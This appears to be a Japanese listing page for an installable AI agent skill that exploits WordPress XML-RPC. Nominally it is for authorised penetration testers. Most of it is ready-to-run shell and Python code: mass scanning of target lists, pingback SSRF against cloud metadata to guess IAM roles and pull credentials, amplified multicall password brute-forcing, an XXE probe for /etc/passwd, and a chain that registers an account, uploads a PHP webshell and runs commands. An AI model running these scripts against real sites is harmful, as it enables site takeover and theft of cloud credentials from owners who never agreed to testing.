xmlrpc-exploitation について
xmlrpc-exploitationは、許可を得たペネトレーションテスター向けのWordPress XML-RPCセキュリティテストスキルです。5段階の手順で、エンドポイント検出、メソッド列挙、SSRF、認証情報テスト、条件付きのアップロード経由RCE確認を扱います。
主な機能
- 01XML-RPCエンドポイントの一括検出
- 02利用可能なメソッドの列挙
- 03SSRF検証の手引き
- 04Multicallによる認証情報テスト
- 05条件付きアップロード経由RCE確認
- 06再テストと誤検知の確認
活用シーン
- 01許可されたWordPress対象の評価
- 02コールバックによるpingback SSRFの検証
- 03テスト制限内でのmulticall露出評価
- 04リダイレクトの影響を避けたXML-RPC変更の再テスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill xmlrpc-exploitationインストール後、Claude Code で/xmlrpc-exploitationを入力して読み込まれたか確認します。
詳細
XMLRPC 悪用スキル
WordPress XMLRPC エンドポイントを対象とする5段階のエクスプロイトパイプラインです。一括検出、メソッドの列挙、pingback.ping を使った SSRF、system.multicall によるブルートフォースの増幅(1000倍)、オープン登録が有効な場合の wp.uploadFile を使った RCE を網羅しています。wp-mass-recon で検出された WordPress ターゲットの約52%で XMLRPC が有効です。
使用する場面
wp-mass-reconが、POST に対して HTTP 200 を返す XMLRPC を検出した場合。- ターゲットで WordPress のオープン登録が有効な場合(アップロード → ウェブシェル → RCE の連鎖)。
- WordPress の認証情報に対するブルートフォース増幅手段が必要な場合。
- クラウドメタデータエンドポイントへの
pingback.pingを通じて、内部ネットワークへの SSRF を調査する場合。
前提条件
- curl を実行できる
terminal。 - XMLRPC エンドポイント(
/xmlrpc.phpが、demo.sayHelloを含む POST に対して 200 を返すこと)が確認済みであること。 - RCE の連鎖を試す場合:ターゲットでオープン登録が有効になっているか、別のファイルアップロード経路が必要です。
- SSRF の連鎖を試す場合:Collaborator/Burp Collaborator エンドポイント、または内部ターゲット IP が必要です。
実行方法
# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
クイックリファレンス
| メソッド | 機能 | 重大度 |
|---|---|---|
demo.sayHello | XMLRPC が稼働していることを確認 | 情報 |
system.listMethods | 利用可能なすべてのメソッドを列挙 | 情報 |
system.multicall | 複数のメソッドを1つのリクエストで実行 | 重大 — ブルートフォースを1000倍に増幅 |
pingback.ping | SSRF — サーバーが外部への HTTP リクエストを送信 | 高 — 内部ネットワーク、IMDS を調査 |
wp.getUsers | WordPress ユーザーを列挙 | 中 |
wp.getPosts | 公開済み投稿を一覧表示 | 低 |
wp.uploadFile | メディアライブラリにファイルをアップロード | 重大 — オープン登録と組み合わせるとウェブシェルを設置可能 |
wp.getOptions | WordPress のオプション(siteurl、admin_email)を読み取る | 中 |
wp.getPostStatusList | 投稿ステータスを取得 | 低 |
手順
フェーズ1 — 一括検出
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
フェーズ2 — メソッドの列挙
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
注目すべき主なメソッド:system.multicall、pingback.ping、wp.uploadFile、wp.getUsers、wp.getOptions。
フェーズ3 — pingback.ping を使った SSRF
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
コールバックでアクセスを受信した場合、ターゲットは SSRF に対して脆弱です。次に、内部サービスを調査します(LiteSpeed の gzip を避けるため、必ず Accept-Encoding: identity を含めてください)。
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
done
内部アドレスへの pingback で faultCode 0 が返れば、リクエストがターゲットに到達したことを確認できます。faultCode 17 または 32 は、ブロックされているか到達不能であることを意味します。
フェーズ3b — タイミングオラクルを使ったブラインド SSRF データ抽出
pingback.ping が faultCode 0 を返しても、レスポンスの内容を確認できない場合(WordPress では通常の動作です)、タイミング差を使って1文字ずつデータを抽出したり、IAM ロールを列挙したりできます。
仕組み: pingback SSRF は URL を取得し、IMDS がデータを返します。WordPress サーバーはレスポンスボディを破棄します(有効なブログ投稿 URL ではないため)が、レスポンスの読み取りにかかる時間はレスポンスのサイズと相関します。
IAM ロールの列挙:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
観測例(retail.example.com、2026年6月):
- IMDS
/meta-data/:344ms(レスポンスが大きい — パスの一覧) - IMDS
/iam/security-credentials/:435ms(非常に大きい — IAM ロールの一覧) - IMDS
/instance-id:301ms(小さい — 短い文字列)
注意点: ネットワークのジッターにより、±50ms のばらつきが生じることがあります。各テストを3回実行し、中央値を使ってください。ベースラインのばらつきが20%を超える場合、この手法の信頼性は低くなります。
フェーズ4 — 増幅ブルートフォース(system.multicall)
system.multicall を使うと、1つの HTTP リクエストで複数の XMLRPC メソッドを実行できます。1つのリクエストに、異なる認証情報を使った wp.getUsers 呼び出しを100件以上含めることで、逐次リクエストと比べて1000倍に増幅できます。
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
認証に成功すると、レスポンスには faultCode 403 ではなくユーザーデータが表示されます。
フェーズ5 — オープン登録と wp.uploadFile を使った RCE
ターゲットでオープン登録が有効で、XMLRPC の wp.uploadFile が利用できる場合:
TARGET="$1"
# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&[email protected]&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
再テスト時の挙動
リダイレクトを追跡せずに元の XML-RPC URL をテストし、リダイレクト先は別途調査してください。 リダイレクトを追跡すると、プロトコルの応答が HTML ページに置き換わり、誤ったリグレッション判定につながる可能性があります。ステータスコードの変化だけではエンドポイントを分類できません。プロトコルとして有効な応答本文、または想定された制御下のコールバックを確認してください。
注意点
- pingback の
faultCode 0≠ SSRF 確認済み。 サーバーによっては、すべての pingback に対してfaultCode 0を返します。まず、自分の Collaborator コールバックで検証してください(これが決定的なテストです)。 faultCodeの解析:re.search(r'faultCode[^0-9]*([0-9]+)', r.text)を使うと、fault code を確実に抽出できます。faultCode 0= 受理、faultCode 17= URL が見つからない、faultCode 32= ブロック/エラーです。system.multicallが制限されている場合があります。 一部のホストではsystem.listMethodsに表示されても、実際に使用すると faultCode が返されます。複数呼び出しのペイロードを作成する前に、単一の呼び出しでテストしてください。- リダイレクト追跡(
-L)によって XML-RPC の POST 応答が隠れる場合があります。-Lを使わずに元の応答を取得し、リダイレクト先は別のエンドポイントとして調査してください。 - LiteSpeed では multicall で HTTP 500 が返されます。 LiteSpeed は、内部のメソッドが成功していても、50kb を超える multicall ペイロードに対して HTTP 500 を返します。HTTP 500 でも必ず本文を確認してください。
isAdmin、blogid、blogNameの文字列がないか調べます。バッチサイズを小さくしてください(リクエストあたり 100 個ではなく 50 個のパスワード)。 - 代替 IP エンコーディングによってパーサーの挙動が変わります。 認可範囲に SSRF フィルターのバイパス検証が明示的に含まれる場合に限り、これらをテストしてください。
- 大きな multicall バッチは負荷を増大させます。 まず 1 つのメソッド呼び出しから始め、合意済みのリクエスト数と認証テストの上限内でのみ増やしてください。
- BusyBox の grep は
-Pに対応していません。 最小構成の環境では、Perl 互換正規表現に対応していない BusyBox grep が使われている場合があります。複雑なマッチングにはgrep -oEまたは Python を使ってください。 - pingback SSRF では、すべてのポートで
faultCode 0が返されます。 WordPress のpingback.pingは、ポートが実際に開いているかどうかにかかわらず、すべての内部 IP に対してfaultCode 0を返します。応答からは、ポートが開いているか閉じているかを判別できません。ポートスキャンには、タイミングベースの検出を使ってください。サービスが待ち受けている開いたポートのほうが、閉じたポート(タイムアウト)より速く(1 秒未満で)応答します。ただし、CDN キャッシュされた XMLRPC ハンドラーを経由する場合、この方法も信頼できないことがあります。 system.multicallの成功を示すマーカー。 multicall 応答で認証に成功すると、isAdmin、blogid、blogNameが表示されます。単にfaultCode 403がないだけでは不十分です。これら 3 つのキーワードすべてを確認してください。- LiteSpeed の gzip 圧縮。 LiteSpeed は
Accept-Encodingがなくても XMLRPC 応答を gzip 圧縮します。curl に-H "Accept-Encoding: identity"を追加するか、Python を介して gunzip してください。これを行わないと、grep で圧縮されたバイナリ内の faultCode が見つかりません。 - 正規表現の移植性は重要です。 BusyBox grep しか使えない場合は、PCRE の機能が必要な式に Python を使ってください。
wp.uploadFileには認証が必要です。 有効な認証情報または開かれたユーザー登録がなければ、これは悪用できません。重要:有効な認証情報があっても、WordPress 6.x では新規ユーザーは SUBSCRIBER として登録されます。SUBSCRIBER は XMLRPC 経由でファイルをアップロードできません。 アップロードを試みる前に、必ずwp.getProfileでロールを確認してください。SUBSCRIBER の場合は、権限昇格を試みてください(管理者へのブルートフォース、プラグインの CVE、またはアプリパスワード)。- Mailinator のパスワードリセット手順。 WordPress のユーザー登録では、パスワードではなくリセットリンクが送信されます。次の手順が必要です。(1)Mailinator の受信トレイを読み取り、URL から
key=...を抽出する。(2)リセットページに GET リクエストを送り、wp-resetpass-*Cookie を取得する。(3)新しいパスワードを POST する。メール URL のrp_keyパラメーターは必須です。HTML フォームで自動入力されない場合があります。 - XMLRPC の XXE: 古い PHP/libxml2 のバージョンでは、外部エンティティを有効にした状態で XMLRPC が解析されます。追加の攻撃ベクトルとして、
<!ENTITY xxe SYSTEM "file:///etc/passwd">で調査してください。 - IMDSv2 は pingback をブロックします: IMDSv2 では
X-aws-ec2-metadata-tokenヘッダーが必要です(/latest/api/tokenへの PUT)。pingback SSRF では URL ターゲットしか指定できず、ヘッダーは設定できません。攻撃対象となるのは IMDSv1 です。
検証
- XMLRPC が機能していることを確認するには、
demo.sayHelloがレスポンス本文でHello!を返す必要があります。 pingback.pingの SSRF では、あなたが管理するサーバーへのコールバックが発生する必要があります(faultCode 0だけでは不十分です)。system.multicallは、埋め込まれた各メソッド呼び出しに対して異なるレスポンスを返す必要があります。- RCE チェーンでは、アップロードしたウェブシェルから
idまたはwhoamiの出力が得られる必要があります。 - IMDS のロール推測:Collaborator へのコールバックがない状態でロールパスに対して
faultCode 0が返された場合は、未確認です。「SSRF の可能性はあるが、OOB 検証が必要」として扱ってください。